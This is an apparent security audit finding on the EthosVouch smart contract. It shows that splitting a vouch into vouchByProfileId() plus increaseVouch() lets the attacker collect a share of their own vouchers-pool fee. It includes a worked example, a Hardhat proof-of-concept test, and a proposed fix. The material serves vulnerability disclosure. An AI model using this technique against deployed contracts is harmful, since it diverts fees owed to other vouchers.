029.md

Overt Alabaster Cottonmouth

High

Attacker can steal considerable portion of fee by vouching in two steps instead of one

Description & Impact

The function increaseVouch() calls applyFees() internally which in turn calls _rewardPreviousVouchers(). Here, all existing vouches are proportionally awarded a part of the vouchersPoolFee based on the ratio of their vouched amount to the total vouched amount. This includes the vouchId whose stake amount is being increased. This can be used to game the system in the following manner:

• Assumption: Entry vouchers pool fee basis points = 10000 (for easy calculation). This effectively means 50% of the voucher's msg.value will be deducted as fee.

• Normal Scenario:

  • Alice vouches 100 ETH for a subject by calling vouchByProfileId().
  • Bob vouches 1000 ETH for the subject by calling vouchByProfileId().
    • Alice gets 50% of 1000 = 500 ETH as fee. Alice's balance = 600 ETH.
    • Bob's balance = 500 ETH.

• Attack Scenario:

  • Alice vouches 100 ETH for a subject by calling vouchByProfileId().
  • Bob (attacker) vouches 1000 ETH in two steps.
    • Step1: He calls vouchByProfileId() with 200 ETH.
      • Alice gets 50% of 200 = 100 ETH as fee. Alice's balance = 200 ETH.
      • Bob's balance = 100 ETH
    • Step2: He calls increaseVouch() with 800 ETH.
      • Alice gets (50% of 800) * 2/3 = 266.67 ETH as fee. Alice's balance = 466.67.
      • Bob gets (50% of 800) * 1/3 = 133.34 ETH as fee. Bob's balance = 633.34 ETH.

Bob saved 133.34 ETH in fee and robbed others of this amount. Note that the above example uses 2 steps for simplicity but Bob can increase the number of steps to enahnce his profit further.

Proof of Concept

Apply the following patch inside test/EthosVouch.test.ts and see it pass when run via npm run hardhat -- test --grep "should demonstrate fee savings with two-step vouching strategy":

diff --git a/ethos/packages/contracts/test/EthosVouch.test.ts b/ethos/packages/contracts/test/EthosVouch.test.ts
index be4d7f1..995ac57 100644
--- a/ethos/packages/contracts/test/EthosVouch.test.ts
+++ b/ethos/packages/contracts/test/EthosVouch.test.ts
@@ -131,13 +131,13 @@ describe('EthosVouch', () => {
         EXPECTED_SIGNER.address,
         signatureVerifierAddress,
         contractAddressManagerAddress,
         FEE_PROTOCOL_ACC.address,
         0, // Entry protocol fee basis points
         0, // Entry donation fee basis points
-        0, // Entry vouchers pool fee basis points
+        10000, // Entry vouchers pool fee basis points
         0, // Exit fee basis points
       ]),
     );
 
     await ethosVouchProxy.waitForDeployment();
     const ethosVouchAddress = await ethosVouchProxy.getAddress();
@@ -441,12 +441,58 @@ describe('EthosVouch', () => {
           'Wrong unhealthyResponsePeriod, 2',
         );
       });
     });
 
     describe('vouchByProfileId', () => {
+      it('should demonstrate fee savings with two-step vouching strategy', async () => {
+        const {
+          ethosVouch,
+          PROFILE_CREATOR_0,
+          PROFILE_CREATOR_1,
+          VOUCHER_0,
+          VOUCHER_1,
+          ethosProfile,
+          OWNER,
+        } = await loadFixture(deployFixture);
+
+        // create a profile
+        await ethosProfile.connect(OWNER).inviteAddress(VOUCHER_0.address);
+        await ethosProfile.connect(OWNER).inviteAddress(PROFILE_CREATOR_0.address);
+        await ethosProfile.connect(OWNER).inviteAddress(PROFILE_CREATOR_1.address);
+        await ethosProfile.connect(OWNER).inviteAddress(VOUCHER_1.address);
+        await ethosProfile.connect(VOUCHER_0).createProfile(1);
+        await ethosProfile.connect(PROFILE_CREATOR_0).createProfile(1);
+        await ethosProfile.connect(PROFILE_CREATOR_1).createProfile(1);
+        await ethosProfile.connect(VOUCHER_1).createProfile(1);
+
+        // Step 1: Naive user vouches 100 ETH
+        await ethosVouch.connect(VOUCHER_0).vouchByProfileId(4, DEFAULT_COMMENT, DEFAULT_METADATA, {
+          value: ethers.parseEther('100'),
+        });
+
+        const attacker = VOUCHER_1;
+        // Step 2: Attacker vouches 200 ETH
+        await ethosVouch.connect(attacker).vouchByProfileId(4, DEFAULT_COMMENT, DEFAULT_METADATA, {
+          value: ethers.parseEther('200'),
+        });
+        
+        // Step 3: Attacker vouches 200 ETH
+        await ethosVouch.connect(attacker).increaseVouch(
+          1,  // Same vouch ID
+          { value: ethers.parseEther('800') }
+        );
+        const initialVouch = await ethosVouch.vouches(0);
+        const attackerVouch = await ethosVouch.vouches(1);
+      
+        // Get final state for two-step attack
+        expect(initialVouch.balance).to.be.lt(ethers.parseEther('600'));
+        expect(attackerVouch.balance).to.be.gt(ethers.parseEther('500'));
+        console.log("Fee saved = %d", attackerVouch.balance - ethers.parseEther('500'));
+      });
+      
       it('should fail if no profile', async () => {
         const { ethosVouch, VOUCHER_0, ethosProfile, OWNER } = await loadFixture(deployFixture);
 
         await ethosProfile.connect(OWNER).inviteAddress(VOUCHER_0.address);
         await ethosProfile.connect(VOUCHER_0).createProfile(1);
 

Mitigation

Change the function signature of _rewardPreviousVouchers() to:

  function _rewardPreviousVouchers(
+   bool excludeAnyVoucherId,    
+   uint256 idToExclude,
    uint256 amount,
    uint256 subjectProfileId
  ) internal returns (uint256 amountDistributed)

and that of applyFees() to:

  function applyFees(
+   bool excludeAnyVoucherId,    
+   uint256 idToExclude,
    uint256 amount,
    bool isEntry,
    uint256 subjectProfileId
  ) internal returns (uint256 toDeposit, uint256 totalFees)

• increaseVouch() needs to call the updated applyFees() while passing params excludeAnyVoucherId = true and idToExclude = vouchId.
• applyFees() then calls this updated _rewardPreviousVouchers() inside it.
• And lastly, exclude this idToExclude inside the two for loops of _rewardPreviousVouchers() whenever excludeAnyVoucherId = true.
• The calls to applyFees() originating from within other functions would need to be modified with excludeAnyVoucherId = false and idToExclude = 0 (any value really).